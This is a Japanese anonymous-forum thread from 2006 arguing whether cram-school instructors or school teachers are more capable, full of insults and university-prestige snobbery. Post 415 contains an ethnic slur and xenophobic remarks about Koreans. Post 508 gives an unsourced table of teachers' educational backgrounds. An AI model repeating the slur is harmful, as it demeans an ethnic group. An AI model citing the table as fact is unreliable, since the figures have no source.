378 :実習生さん:2006/11/17(金) 18:36:16 ID:bg6tQ5Nt
ていうかさ、学校教師って何十年も同じ科目教えているのに何であんな糞みたいな授業しかできないんだよ。
と思っていたら駅弁や筑波出の奴が勉強できるわけがないことに気づいた。

379 :実習生さん:2006/11/17(金) 19:25:13 ID:Q7LgEwR0
>>370
☆A教諭の教え子たちは、20〜30年後の同窓会に
ごく普通の家庭持ちとして、多数が参加しそう。
職業も教員を初めごく普通。
一方
★B教諭の教え子たちは、20〜30年後の同窓会の
数少ない参加者に家庭持ちは少なく、職業もフリージャーナリスト
等風変わり。
こんな感じに成りそう。

380 :実習生さん:2006/11/17(金) 22:34:06 ID:xuppof0S
>>376
スレ違い。
解いてもいいし、手持ちの解答みてもいいが、何れにせよ無意味だ。

381 :実習生さん:2006/11/17(金) 23:34:16 ID:mlZNdgy8
結局解けないのか

382 :実習生さん:2006/11/17(金) 23:45:02 ID:xuppof0S
>>381
k>2 だ。氏ね

383 :実習生さん:2006/11/17(金) 23:58:23 ID:mlZNdgy8
>>382
ずいぶん必死だね
そんなに調べるのに苦労した?

384 :実習生さん:2006/11/18(土) 00:00:00 ID:h6AJJcpL
人のふんどしでためすんじゃなくて自作の問題くらい持ってきてよw

385 :実習生さん:2006/11/18(土) 00:10:46 ID:vR1feV9x
ふぁ〜あ。寝よ。

386 :実習生さん:2006/11/18(土) 00:29:44 ID:5XNdtnVW
>>384
問題T
以下の公理U、P、I、NDを満たす民主的な社会厚生関数は存在しない
ことを証明せよ。

公理U A1=A2=・・・=An=R(Rは全ての選好序列の集合)
公理P ∀x,y∈X (∀i∈N (xRiy)→xRsy)
公理I  ∀a,b, ∀x,y∈X(∀i∈N (xRiy(a))←→xRiy(b))→(xRsy(a)←→xRsy(b)))
公理ND ¬(∃i∈N, ∀x,y∈X (xRiy→xRsy))

問題U
次の式の定常解(0, 0)の安定性を論じよ。
また、係数行列の固有値をガウス平面にプロットせよ。

dx/dt=x-4y
dy/dt=3x+2y

387 :実習生さん:2006/11/18(土) 01:17:19 ID:5XNdtnVW
さて、次はどこで調べてくるのでしょうか??

388 :実習生さん:2006/11/18(土) 01:46:57 ID:ty5VtWBN
社会厚生関数って何?
あとわざわざガウス平面っていう意味あるの?

389 :実習生さん:2006/11/18(土) 01:53:24 ID:ty5VtWBN
>>386
調べてみたら経済用語なのなwww
1W出力された電波が10m飛んだら何Wだ?
って聞くくらい恥ずかしい子供じみた問題だな。


390 :実習生さん:2006/11/18(土) 01:56:21 ID:5XNdtnVW
じゃ、解いてみろよ。
まあ駅弁にゃ専門用語の1つも分からんだろうがww

391 :実習生さん:2006/11/18(土) 01:58:14 ID:6ww3AM5i
>>1
【学力】塾講師>>>学校教師【学歴】
では無く。

【受験対策】塾<<<学校【一般教養】
ジャネ?

392 :実習生さん:2006/11/18(土) 01:59:40 ID:ty5VtWBN
俺は数学も経済も専門でないから分からんよwww
わざわざ問題出す相手の他の専門分野から問題を出すところがガキくさいって
いってるんだよ?分からない?
君は数学教師に対して問題を出したんだろう?
なんで無意味に社会厚生関数やらの単語をちりばめてるの?www

393 :実習生さん:2006/11/18(土) 02:00:22 ID:ty5VtWBN
しかも一時間以上張り付いて待ってたのかよwww
>>384じゃなくて残念だったね

394 :実習生さん:2006/11/18(土) 02:04:38 ID:5XNdtnVW
>>392
じゃあお前の専門から出題してやるよ。
そもそもアローくらい、大卒なら一般教養の範囲だろ?
まあ駅弁じゃ無理なんだろうがね。
それよりお前、やたらw連発してるけど、発狂してるの?必死なの?

395 :実習生さん:2006/11/18(土) 02:04:42 ID:j4GyH4cb
塾講師なんて専門でもない人間が必死で勉強して授業やってるもんだよ。

396 :実習生さん:2006/11/18(土) 02:08:04 ID:ty5VtWBN
>>392
お前の専門から出題してやるってwww
お前は適当に検索してパクってきた問題をコピペするだけだろ?
それが正解かどうか、どうやって検証するの?
ついでに専門は自動認識だよ。

397 :実習生さん:2006/11/18(土) 02:08:42 ID:ty5VtWBN
>>394だ間違えたwww

398 :実習生さん:2006/11/18(土) 02:10:11 ID:5XNdtnVW
>>396
へ〜理系の人間が微分方程式も解けないんだ。
よく卒業できたね。

399 :実習生さん:2006/11/18(土) 02:11:07 ID:ty5VtWBN
早く問題出してよwww
俺の専門からwww
お前が言ってくれたんだぞwww

400 :実習生さん:2006/11/18(土) 02:13:34 ID:ty5VtWBN
その代わり、どうやって正解か否かを検証してくれるのかははっきりさせてくれよwww

401 :実習生さん:2006/11/18(土) 02:14:15 ID:5XNdtnVW
なんでそんなに必死なの?
レスアンカー間違えるくらい焦ってるってことだよね。
そんなに問題解けないことが悔しい?
駅弁バカにされるのが悔しい?

402 :実習生さん:2006/11/18(土) 02:14:46 ID:ty5VtWBN
話そらしてないで早く問題出してよwww


403 :実習生さん:2006/11/18(土) 02:20:59 ID:5XNdtnVW
ファビョりまくってるな。
頭の悪い学校教師は余裕もないんだろう。
そもそも>>386の問題Uが解けないなら
自動認識なんて専攻できないはずだがね。

まあ、簡単なもんだ出だしてやるよ。
シャノンの第2法則を説明し、
それが適用できる前提条件を求めよ。

404 :実習生さん:2006/11/18(土) 02:26:23 ID:j4GyH4cb
スレ違いだよ?

405 :実習生さん:2006/11/18(土) 02:29:17 ID:ty5VtWBN
自動認識が専門の学校教師っているの?www
俺が学校教師だと思ってるの?www
んなわけねーだろ。馬鹿すぎwww

「もんだ」出してくれるのねwww
タイプミスするほど焦ってるってことだよね?
塾講師馬鹿にされるのは悔しい?

ところでシャノンの第二法則って何?

406 :実習生さん:2006/11/18(土) 02:32:53 ID:5XNdtnVW
>>405
なんでwを多用するの?
必死度がwの数に反映されてますよ。

407 :実習生さん:2006/11/18(土) 02:34:11 ID:GPdU0Zyx
◆塾…子どもに知識技能の習得させることが目的

◆学校…各教科+道徳+生活+特別活動の全てを通し、望まれる人格を形成することが目標

学校では、例えば課題を一門だす、その課題を学習する過程を通して
目標とされる人格形成のための目的とされる知識を習得するのだ。
学校での活動の全ては人格形成が目的だったりする。

それに比べ先にあがっている、これがし見よ、解けるか、と言わんばかりの課題…。
それがどのような目的の課題であり、その課題を乗り切るとどのような能力が身につくのか是非教えてほしいものだ。

408 :実習生さん:2006/11/18(土) 02:36:49 ID:ty5VtWBN
>>406
お前のレスの回数がヒントだよwww

409 :実習生さん:2006/11/18(土) 02:41:35 ID:5XNdtnVW
>>408
本日のレス回数(このレスは除く):
ID:ty5VtWBN・・・11回
ID:5XNdtnVW・・・8回

見事な連投乙です!

410 :本人の努力:2006/11/18(土) 07:15:39 ID:sgny7wC5
荒れてますね。
学校にも素晴らしい先生がいれば、問題のある先生もいる。
塾も同じだと思います。
ただ比較的業務が似て見えるので、互いに反発してしまう事が多いですね。
学校は子供の教育を請け負う所、塾は合格を請け負う所。
元々、ベクトルが違うので仲良くやりましょう。お互い世話好きが多く、基本的に似たような人々なんだから


411 :実習生さん:2006/11/18(土) 08:57:19 ID:3izxRmGz
平和共存といきましょう^^。

412 :実習生さん:2006/11/18(土) 09:21:25 ID:5zhH5tfs
なんでこのスレでは筑波が馬鹿にされてるの?

東大コースのクラスを教えている筑波卒の先生もいるよ。

413 :実習生さん:2006/11/18(土) 13:41:40 ID:ZBS3aD/E
さすが努力氏
まとめるのがうまい!

あっちも顔出してね。

414 :実習生さん:2006/11/18(土) 17:54:39 ID:qFaAluQS
姜尚中さんの本を読んだら愛国心を持つことは間違った行為だったと気がつきました。
ちなみに私が姜尚中さんの本を読んだのは半年前だったのですが、
それからは10年間サボってきた勉強も久しぶりに再開しました。
友達も増えたし、学級崩壊も改善されました。

そして子供達にも読ませてあげたらクラスの平均点が30点くらいアップしました。
子供達は全員私立の中学校を目指すそうです。
それくらいヤル気と実績が上がったのです。

あまり他人に分け前を渡すのは嫌なのですが、
こういうご時世だから特別に教えてあげます。
姜尚中さんの本を読むべきです。

415 :実習生さん:2006/11/18(土) 18:10:50 ID:CyLLkpJ3
>>414
国籍不明の半島三国人が愛国心について騙るな。
半島三国人が内政干渉するな。

密航、不法残留のあげく日本に居座った半島三国人。
反日活動に必死な半島三国人。

日本人に愛国心を持たれて「一番困るのが半島三国人」


416 :実習生さん:2006/11/19(日) 00:45:29 ID:1eG4H0+P
>>412
中途半端な学歴だから

417 :実習生さん:2006/11/19(日) 05:39:46 ID:6UnJz9MN
でもさあここでネンチャクに教師へのルサンチマン晴らしてる塾講って
自分が東大出てるわけじゃなくて、一部の高学歴塾講の威を借りてるだけでしょ
本人は中央とか成城だったりするから、世のもろもろを恨みたくもなるよね・・・


418 :実習生さん:2006/11/19(日) 07:49:40 ID:USvJKOxA
>>415 ヒント:コピペ

419 :実習生さん:2006/11/19(日) 12:47:52 ID:XG0weiZw
>>417
微妙にスレ違いでは?学歴版へゴー!!!

420 :実習生さん:2006/11/19(日) 16:23:59 ID:1eG4H0+P
>>417
駅弁って中央と成城を一緒にするのかよ((((;゚Д゚))ガクガクブルブル

421 :実習生さん:2006/11/19(日) 21:31:25 ID:6UnJz9MN
けっきょく図星なわけだねw

あたしはお茶→東大院→大学教員ですが何か?

422 :実習生さん:2006/11/19(日) 22:22:16 ID:XG0weiZw
>>421
ひさびさに凄いレスを見た気がするw
ツッコミどころ満載ですねw

あ、僕はたまたま覗いたパンピーなんでツッコマないでくださいよwww

423 :実習生さん:2006/11/20(月) 00:57:41 ID:jq8OqCvt
塾の先生と学校の先生は仲がいいですよ 
いったいどなたが 
勝手に優劣をつけて馬鹿にしてるのですか? 
馬鹿にしている方は塾の先生になれなかった人 
それとも学校の先生になれなかった人 でしょうか? 


どこかにコンプレックスがあるんでしょうけれど 
そんなコンプレックスさっさと捨てて自由になりなさいよ。 


424 :実習生さん:2006/11/20(月) 01:08:09 ID:atfrGILw
国語教員に成るなら二国文大=二松学舎国学院文教大東に行けって他スレあった。

425 :実習生さん:2006/11/20(月) 05:10:31 ID:Tqvp9Hd7
>>421
法文二号館の地下にある食堂の名前は?
附属図書館のうち荷物をロッカーに預けなければいけない図書館は?

426 :実習生さん:2006/11/20(月) 07:29:45 ID:bFfjYZQW
>>423
>塾の先生になれなかった人
んな奴いるの?
そもそも本職で塾講やりたいなんて奴あまり聞かないし、
第一探せばいくらでもあるんじゃないの?
辞める奴も多いから年中募集してるし。
それにそんなにやりたきゃ自分で始めればいいだろ?
学校作るのはたいへんだけど、塾なんて簡単に店開きできるんだから。


427 :実習生さん:2006/11/20(月) 08:22:02 ID:Tqvp9Hd7
>>426
>んな奴いるの?
本人乙

428 :実習生さん:2006/11/20(月) 17:34:27 ID:BIWPiMDO
>>426
IDが馬鹿っぽい。
 お前に塾は経営できねえよ。

429 :実習生さん:2006/11/20(月) 20:06:34 ID:0SmUHo/e
大学生の就職希望企業のランキングで塾講師が入ったら、
塾講師>学校教師って認めてやるよw ま、100年たってもありえねぇがなw

430 :実習生さん:2006/11/20(月) 22:54:47 ID:Tqvp9Hd7
>>429
低学歴に人気な職業で満足ですか。
そうですか。

431 :実習生さん:2006/11/20(月) 23:01:05 ID:MjT9GylL
今日、TVタックルでたけしがいい事言ってた

432 :実習生さん:2006/11/21(火) 01:28:03 ID:hgaV10xj
塾の講師は大学生の良いバイト先です。高学歴でほんとに学力が
高かったら、有名予備校の講師になってるはずですけど。

433 :実習生さん:2006/11/21(火) 02:02:13 ID:kReQtT5G
>>432
予備校の講師って社会からのはぐれ者がなるもんだよ、一般的には

434 :ddd:2006/11/21(火) 02:12:58 ID:Hs2GuIdm
ww

435 :ddd:2006/11/21(火) 02:13:37 ID:Hs2GuIdm
ww

436 :実習生さん:2006/11/21(火) 02:20:43 ID:hgaV10xj
>>433
予備校生の指導に最も学力が必要ではないんですか?

437 :実習生さん:2006/11/21(火) 03:39:42 ID:HH/0Qo3A
駅弁君は学力低すぎて塾のバイトができませんwww

438 :実習生さん:2006/11/21(火) 07:58:02 ID:vQL09X/m
学校の勉強なんて、人生という命題をとくための基礎部分だぞ。
それだけできたって何にもえらくない、むしろ偉ぶっているやつは、自分の
稚拙さをひけらかしているだけ、もっと寛容になれよ

439 :実習生さん:2006/11/21(火) 17:13:32 ID:5tOoqyPM
仕方ねーだろ。

中高時代に担任や親や塾講師に脅されビビりながら
身につけた中途半端な学力しか取り柄がない情けない甲斐性なしなんだから。

440 :実習生さん:2006/11/21(火) 21:31:01 ID:AAY7OnaH
塾講師って採用試験に受からないヒトがやってるでしょ?
または大学生のバイトとか。
問題集で受験対策だけすればいいんなら、学校の先生でも同じことかそれ以上の
授業はできるよ。つか塾講なんて誰でもできる仕事だし。TSUTAYA以下だと思う。
>428
塾ってすごく簡単に開けますよ。適当に宣伝すれば生徒もある程度集まります。

441 :実習生さん:2006/11/21(火) 22:30:54 ID:Fq1D3cLf
>>440
とりあえず、おまえに経営の才能がないのわかった。
塾なんて簡単にひらけるけど、生徒は簡単にあつまるわけがない。
この少子化の時代にこんな感覚のヤツがまだいるんだ。

もし、自分が学生なら、名前が知られてるところか、評判がいいところか、
そんな塾or予備校を選ぶだろ?

442 :実習生さん:2006/11/21(火) 22:38:41 ID:HH/0Qo3A
>>440
とりあえずお前に資本金いくらあるんだ?


俺の教員志望の知り合いは、すし屋でバイトしてたな〜
低学歴だから、塾で働けなかったらしい

443 :実習生さん:2006/11/21(火) 22:40:07 ID:AAY7OnaH
あのぉ、選ぶのは生徒じゃなくて親なんですょ。
しかも田舎で塾をやると個人経営の塾ばっかしですよ。だから競争もなんもないの。
日本にはいろんな場所があるんです。。。

444 :実習生さん:2006/11/21(火) 22:42:44 ID:eRlbNu8D
シェークスピアは大学でいないらしい

445 :実習生さん:2006/11/21(火) 22:47:05 ID:Fq1D3cLf
>>443
いつまで恥をかくんだ?

だから、田舎だって、親の感覚としたら、知り合いの塾とかもっともっと選択肢が狭まるだろうが。
しかも、CMで流れてるような大手の方がイメージが良い。しかも、営業マンがいる。
そんなところで、名前も知られてないヤツがいきなり塾出したところで、子どもを通わせるような、
どんな金持ちDQNの親がいるんだ。
単なるDQNの親なら塾さえもいかせない。


もう少し、世の中の人と話をしろよ。

446 :実習生さん:2006/11/21(火) 22:51:51 ID:AAY7OnaH
>>443
自分の知っている、想像できる世界がすべてであり、いつも正しいと思うのは教師の欠点です。
他人の意見に「〜は違います。〜です。」と、自分の意見をかぶせてしまい、聞こうとしないのも教師の悪い癖です。

いろんな人がいます。いろんな環境があるんです。否定するばかりでなく、可能性を考えてみて下さい。

447 :実習生さん:2006/11/21(火) 22:53:06 ID:AAY7OnaH
>>445サン
でした、すいません。


448 :実習生さん:2006/11/21(火) 23:08:57 ID:HH/0Qo3A
で、資本金いくら持ってるの?

449 :実習生さん:2006/11/21(火) 23:34:51 ID:5U7MD14O
うちのクラス(学校)の生徒たちは、塾の宿題を持ってきては休み時間に質問攻めにする。
生徒曰く、塾の先生の解説はわかりづらいんだと。

450 :実習生さん:2006/11/21(火) 23:41:16 ID:HH/0Qo3A
学校は意味ないから切って内職してるだけだろwww

451 :実習生さん:2006/11/22(水) 00:31:23 ID:jqdosmsy
学校の授業を真面目に聞いてる生徒より、
塾の勉強を一生懸命やってる生徒のほうが進学実績がいい事実

452 :実習生さん:2006/11/22(水) 11:50:39 ID:ckxalB++
>>407

勉強も運動もできない休み時間も寝たふりで帰宅部のもさっとした落ちこぼれに
教科・道徳・生活・特別活動で人格形成なんて教えれるかよwwwwwwww


453 :実習生さん:2006/11/22(水) 13:04:51 ID:AGk5NT5f
都立の高校教師は確実にだめだな

454 :実習生さん:2006/11/22(水) 13:47:11 ID:G7g59was
しかしまあ、塾のダメ講師とか
学校のダメ先生とか・・・
どの業界にもダメ人間はいるだろ?
要はどう生きるかだよ。諸君。
自分が満足する仕事につきなさい。

455 :実習生さん:2006/11/23(木) 05:35:12 ID:u0NJIOQs
何の適正もない場合どうすれば

456 :実習生さん:2006/11/23(木) 22:01:58 ID:XaMgmgea
そういや俺の高校の古文教師品詞分解とか助動詞の意味とか活用とかやったこと一度もなかったな。
ただ訳読んでいくだけの授業。これでも県下一の進学校。
今はサテライン予備校があるからいいけど昔は死んでたな。

457 :実習生さん:2006/11/24(金) 01:48:54 ID:zfRssl0D
退職された先生が言ってました。 
昔はどんな先生からも学んでた 
同じ者を同じ調子で出力するパソコンじゃないんだからね 
そういった面で柔軟性のある思考力を子供達は培ってきただろ 
昔の子供の方が頭がいいってのもわかるよ。 
今の子供は一つの教え方しか受け取れない、わからないのは塾の先生、学校の先生が
わるいっていうことから始まって、自分自身に目を向けない 
成績は貧乏や金持ちに関係なく 
授業中に素直に一生懸命聞いている子は、塾に行かなくても 
課外なんかなくても実際本当にトップだっそうです。 
塾だけのためにいろんな時間を削ってガリ勉やってる子は 
周りの子のことなんか見えない、当然自分のことしか考えないから
変な大人になっているって。 
その子達は上級の?公務員とかにもなっているし、学校の校長になる子が多いって。 
学校や世の中がおかしくなるのは頭がよい悪い野問題じゃなく 
他人を大事にできるような性格をしているか、感謝の気持ちがあるかだろう。って 



458 :実習生さん:2006/11/24(金) 01:54:54 ID:+3nSbUyn
>>457
どこを縦読みするの?

459 :実習生さん:2006/11/24(金) 07:01:29 ID:PpX8euaL
まぁ学校の先生は、先生になろうという意識を持って先生になった方々だけど、塾の先生はバイト感覚って感じなのが、前者と後者の違いかなって思うんだが。
だから塾の先生で教育論振りかざすのは思い上がりだと思う。
れっきとした学校の先生になれば言う資格が出てくるとは思うんだが。

460 :実習生さん:2006/11/24(金) 07:11:14 ID:PpX8euaL
学校の先生は、先生になろうという意識を持って先生になった方々だけど、塾の先生はバイト感覚って感じなのが、前者と後者の違いかな。
だから塾の先生で教育論を振りかざすのは思い上がりだと思う。
学校の先生になれば言う資格は出てくるとは思うんだが。

461 :実習生さん:2006/11/24(金) 11:26:08 ID:TkCe/hh9
>>460
塾の先生で教育論を振りかざしているヤツ、ここにいたか?
学校の先生と塾の先生を比べる自体アホなヤツだな。


462 :実習生さん:2006/11/24(金) 11:46:57 ID:+3nSbUyn
学校の先生ってれっきとしているのか???

463 :実習生さん:2006/11/24(金) 11:50:37 ID:rUJuwFxu
塾講師なんてそこらの駅弁大学生だってやってるぞ。しかも大手でな。

464 :実習生さん:2006/11/24(金) 12:02:26 ID:+3nSbUyn
妄想だけなら簡単だよね
ま、大手でもブラックっていくらでもあるけど

465 :実習生さん:2006/11/24(金) 14:06:05 ID:TkCe/hh9
学校の先生だって駅弁卒いっぱいいるだろ?
もっとマシなカキコしろ。
>>464
また、お前かよ。生きてたのか。

466 :実習生さん:2006/11/24(金) 18:10:54 ID:KIvDsQ50
ブラックって書くと「またお前か、生きてたのか」と書かれるのかw
前自分も書かれた。
でも塾・予備校って実際ブラックじゃん。

467 :実習生さん:2006/11/24(金) 22:15:57 ID:fXW41KWt
ほんとに、その教科を極めている人しか先生になれなかったら日本
の学校はなりたたないから、ある程度の妥協は必要でしょう。だって
先生になれる人がほとんどいないわけだから、学校がつくれない。

個人的意見だけど、私立が進学に有利って状況だけは、どうにかしてほしい
ように思う。田舎で塾がなかったり金がない人は、それだけで大学試験に
不利になる。そういった点で、世の中不平等だと思うんだが。

ここらへん、政治課題になってるよね。公立学校の先生が予備校の
講師に教え方をおそわる機会はあってもいいと思う。会社でも役人
でも独断的で人から教わることをよしとしない人は成長しないと思うし。
外部からいいところを吸収していけば、日本の公立学校はよくなると思う。
恵まれない子供に大きなチャンスを与えるためにも、先生はがんばって
ほしい!世間の期待はかなり大きいように思う。

まあ、先生はかなり重要な職であることは間違いないでしょう。子供
の将来背負ってるわけだから。



468 :実習生さん:2006/11/25(土) 00:05:48 ID:78wT4O5i
Fランがいっぱい就職してる学校教師はブラック以下。
先物並。

469 :実習生さん:2006/11/25(土) 01:20:30 ID:r1mDtGRk
公立先生のヘタ糞授業だけはなんとかしてほしい。
しかもそれを先生自身認識してないっていう・・・。
生徒がかわいそうだ。

470 :実習生さん:2006/11/25(土) 01:42:30 ID:tBgPATsg
>>457
こういう駅弁教師がまだ存在することに驚き。

>成績は貧乏や金持ちに関係なく 
>授業中に素直に一生懸命聞いている子は、塾に行かなくても 
>課外なんかなくても実際本当にトップだっそうです。 

成績は親の職業と収入に関係するのは厳然とした事実。
駅弁教師の授業と駅弁セレクトのテキストでどこに受かると思っているのかね?
まぁ、地底くらいまでなら地頭でなんとかなるけどね。

471 :実習生さん:2006/11/25(土) 17:00:32 ID:3kk5i/Bu
そこまで行くと何言ってっかわかんねえんだよ。
このチャンネラおたく!

472 :実習生さん:2006/11/25(土) 19:04:40 ID:JQLZabeZ
塾講師なんてろくなもんじゃないよ


473 :実習生さん:2006/11/25(土) 20:23:51 ID:3kk5i/Bu
またおたく

474 :実習生さん:2006/11/25(土) 20:33:45 ID:Zj/ozPWa
>>471
これが教師の読解力wwwwwwwwwww

475 :実習生さん:2006/11/25(土) 20:47:20 ID:nxhlO6kt
どっちもどっち。忙しい学校教師や予備校、塾講師はこんなスレで実力を
発揮することはない。

476 :えれくち王 ◆Nk0j1Ogru. :2006/11/25(土) 21:58:00 ID:GdZr9OAK
言わせてもらうが、
世の中には、進学校で教えたくても、
やむを得なく底辺校勤務になっていて、
「底辺校勤務だから低学力・低学歴」と言われて悔しい思いをしながらも、
DQN生徒やDQN保護者に懇切丁寧に接している公立高校教員が沢山いるんだ。

少なくとも公立高校においては、トップ〜底辺で教員の学力・学歴の格差は少ない。
旧帝大〜Fランクまで結構均等に散らばっている。
トップ校には、老体がコネでしがみついているだけ。

477 :実習生さん:2006/11/25(土) 22:36:09 ID:9dLWO2ik
↑    そのとおり。

それが公立の無駄     不合理   で、私立  塾に食われる。

478 :実習生さん:2006/11/25(土) 22:40:39 ID:9dLWO2ik
経済的安定の  代償に  妥協の人生。
俺は、毎年大学受験やってる。  
生きてる実感は    俺のほうが良いと思うぜ。

479 :実習生さん:2006/11/25(土) 22:46:52 ID:hAg6x0lO
塾講師がそんなにいいなら、自分の子どもには塾講師すすめろよw
絶対、教師にはさせるなよ

480 :えれくち王 ◆Nk0j1Ogru. :2006/11/25(土) 23:44:56 ID:GdZr9OAK
>>470
じゃあ、どこらへんあたりから地頭で行けなくなるんですか?

僕にも分かるように丁寧に教えてくださいね(・∀・)ニヤニヤ

481 :実習生さん:2006/11/26(日) 00:37:26 ID:U01BCWKU
>>480
東京一工医学部。


482 :実習生さん:2006/11/26(日) 01:24:51 ID:ZZSlx+yS
東大と医学部だけでいい

483 :実習生さん:2006/11/26(日) 01:37:02 ID:zuUnY+5e
私は塾を経営しております。塾にも色々有ります様に学校も色々有ると思います。私共の塾の講師は学歴(偏差値)としては最低ラインが阪大です。そんな塾も有るように中学高校の教員の方々の中にも優秀な人材がいると思います。

追伸 人件費が大変です。

484 :実習生さん:2006/11/26(日) 02:38:48 ID:PxI6sidb
ある大手学習塾の講師やってるけどカスだよ。
漏れも大した学歴持ってないけど、まわりはもっとしょぼい。

塾は塾で便利使いする割には給料上げないし。
能力給とかいいながら「君はまだ勤続月数が少ないから」なんて理由。

485 :実習生さん:2006/11/26(日) 08:40:57 ID:rCm/a7rk
477,478だが、、、。
自分の子供は 国立大学 院 理系から、一部上場企業に入った。
塾はこれからは、先細りだから薦めなかった。
俺は、楽しみながらやらせてもらう。

486 :実習生さん:2006/11/26(日) 14:03:14 ID:zgUhvryL
同じく
俺も人生、誰にも邪魔されず楽しみながら
このまま経営していくつもりだ。
甲斐性があるやつは独立すればいい。それだけのことだ。

487 :実習生さん:2006/11/26(日) 18:54:25 ID:rrIZ4s4N
>>483
良い学校歴出身の先生は、やはり教え方が上手なんですか?

488 :実習生さん:2006/11/26(日) 18:57:21 ID:PdO2cg3p
どなたか、指導力不足教員制度について語るスレが一つもなくなってしまったので
スレを立ててくださる方はいませんか?
依頼スレは↓のアドレスです
お願いします

【教育・先生板】スレッド作成依頼所【スレ立て】
http://school5.2ch.net/test/read.cgi/edu/1074425051/209


489 :実習生さん:2006/11/26(日) 23:25:01 ID:/8cSBtsL
>>480 

きっと470は現実そのものがわかってないんだよ  
まわりに普通に何でもできて、勉強もできるまともな友達が
いなかったんだろ。 

490 :実習生さん:2006/11/27(月) 00:08:38 ID:SpYrvMTA
学校教員より小売外食のほうがマシだな

491 :実習生さん:2006/11/27(月) 00:18:05 ID:xf+FCXho
ひとと接する仕事ならスーパーやラーメン屋でバイトしてた方が楽しめたし精神的に健全だと思った
学校で長時間子どもと関わっていると人間の醜い部分を見せられて吐き気がする
人間ってバカな生き物だね

492 :実習生さん:2006/11/27(月) 00:48:48 ID:UmwFMSpy
>>489
つ 「大衆教育社会のゆくえ」


493 :実習生さん:2006/11/27(月) 09:22:47 ID:5iBBf0iU
ここは塾の宣伝スレだな。 塾>>4学校としとかないと生徒こないもんな。
まあ、どのみち生徒の数は減っていき、難関校目指す奴以外は塾なんかいかなくなるもんな。
まあがんばってねw

494 :実習生さん:2006/11/27(月) 14:37:24 ID:gxEQgfE+
学校の勉強を解く能力と、勉強を教える能力は別だと思う
前者に人間的に好かれない類が多く、後者に人気者となる類が多いのは自明

解く能力に秀でていれば、学者の道へ
教える能力に秀でていれば、教師の道へ

495 :実習生さん:2006/11/27(月) 16:03:22 ID:kFlublKw
>>494
解く能力があれば好かれないなんて琴はないだろ。

496 :実習生さん:2006/11/27(月) 23:04:15 ID:SpYrvMTA
教師が教える能力に秀でてる?


何の冗談?

497 :実習生さん:2006/11/27(月) 23:26:32 ID:6uGZV1rs
いじめ世論調査:原因は「保護者のしつけに問題」が5割超

 毎日新聞が実施した全国世論調査(電話、今月25〜26日)で、いじめが行われる
最大の原因を聞いたところ、教育制度や教師の指導よりもいじめる側の保護者のし
つけに問題があると答えた人が5割を超えた。いじめをなくすために家庭・地域の役
割を重視する回答も計6割を超え、学校の役割や教育改革に限界を感じているとみ
られる回答内容になった。

ttp://www.mainichi-msn.co.jp/today/news/20061128k0000m040044000c.html

498 :実習生さん:2006/11/28(火) 00:09:41 ID:2uvtU1e3

            ミミ ヽヽヽヽリリノノノノ
            ミ   ,,、,、,、,、,、,、,、、 彡
             l  i''"        i彡
            .| 」   /' '\  |
            ,r-/   -・=-, 、-・=- |
            l       ノ( 、_, )ヽ  |
            ー'    ノ、__!!_,.、  |           えっ!? どこ ここ ?
             ∧     ヽニニソ   l             おまえら なに!?
           /|           /\            
         / | |     `ー--一' ノ/  \            
    / ⌒ヽ´  \\____ /_/ノ     \ いいじゃんそれって!
   /     |´      | ̄―--―― ´ヽ      /⌒\ かっこいいじゃん!
  人_ _ __/-―――.| ( T )      `l    (      )
 / |   |   | 、   \  ̄        }      |\_/
/ / `-●−′ \  \ ̄ ̄ ̄ ̄|  /      |
|/ ── |  ──  ヽ  \__ ノ   ノ     |
|. ── |  ──   |   |―----― ´      |ー○
| ── |  ──   |    l__  ,-――-、    |
ヽ (__|___   /  /     ̄)     ,`―― 、
 \         /  / ` ―――´    (___



499 :実習生さん:2006/11/28(火) 02:01:31 ID:O4H8wD6P
教員採用試験に合格できなかった者が吠えてる 

教師に幻想を持っちゃいかんよ 
給料少ないし 
嫉妬するならもっと実のある仕事に就いた方がまし 

500 :実習生さん:2006/11/28(火) 03:03:50 ID:1d3/SUmb
教員採用試験に落ちる人いるの?
というか塾講で目指してる奴知らない。
目指すなら、司法試験、会計士、公務員(行政職)だろ。

501 :実習生さん:2006/11/28(火) 06:40:39 ID:Nms+Pvz6
>>500
おい兄弟。朗報だ。
セ試験3教科62%以上+セ利用方式の試験に合格で、
ドイツの大学への入学資格を得られるよ。
それから、授業料は1学期500ユ-ロ、大学によってはタダなので、
浮いたお金でEU旅行でもすればイインジャマイカ?

502 :実習生さん:2006/11/28(火) 21:15:27 ID:tAy7YDor
>>500



503 :実習生さん:2006/11/28(火) 23:11:31 ID:oHPKOFhc
法曹>会計士>公務員>警察官>教員=消防>自衛隊

504 :実習生さん:2006/11/28(火) 23:16:09 ID:iUny+GAb
おいおい 大事なとこ書き忘れてるぞ

自衛隊>>>>>>>>塾講

505 :実習生さん:2006/11/28(火) 23:18:12 ID:oHPKOFhc

駅弁教員が必死だね

506 :実習生さん:2006/11/28(火) 23:41:30 ID:PeWzBGRA
嫉妬板だな

507 :実習生さん:2006/11/28(火) 23:48:26 ID:LMMo94b/
>>503〜505
そのような職業観を持って教えていたら、生徒からバカにされるよ。
例えば公務員だったら、上級と地方公務員とではかなり差異がある
わけだし、くだらない優劣をつけるのはやめたら?

508 :実習生さん:2006/11/29(水) 00:11:40 ID:7//qezYZ
学歴割合比較

           学校教員        塾講師

東大         0.1%          3%
医学部         0%          4%
旧帝一工      0.5%         12%
早慶          2%         20%
新筑上理同      8%          8%
マーチ         5%         27%
駅弁          50%          5%
日東駒専       8%         10%
大東亜帝国      13%          8%
Fランク        14.4%         3%

509 :実習生さん:2006/11/29(水) 00:26:14 ID:ZWTHqJ9t
>>508
ソースを明らかにしてください

510 :実習生さん:2006/11/29(水) 00:33:24 ID:7//qezYZ
>>509
文部科学省行って教えてもらえハゲ

511 :実習生さん:2006/11/29(水) 02:11:27 ID:6MZWorVs
だいたいポリなんかがそんな高いわけないだろw
ポリと火消しなんてアホばっかりだよw

512 :実習生さん:2006/11/29(水) 02:44:16 ID:YUZSzAuD
教員もな

513 :実習生さん:2006/11/29(水) 07:08:40 ID:iNhrjRRy
239 :Nori:2006/11/26(日) 02:39:48 ID:pqiErkxo0
大手の進学塾に通っている生徒の大半は,単なる「金づる」。
頂点にいる生徒を支えるために親はせっせと大金貢いでるだけ。
チラシに書かれている実績と子どもの伸びとはまったく別問題。
馬鹿な親はチラシの甘い文句にだまされてなんか「特別な指導」
でもやってうちの子の成績を急上昇させてくれる魔法の杖かなん
かを持ってるとでも思ってるんだろか?教科書に毛が生えた程度
の入試問題を解くのに特別な学習なんて不要。類のプリントに
載ってる問題なんてそこいらの市販教材の焼き直し程度。要は
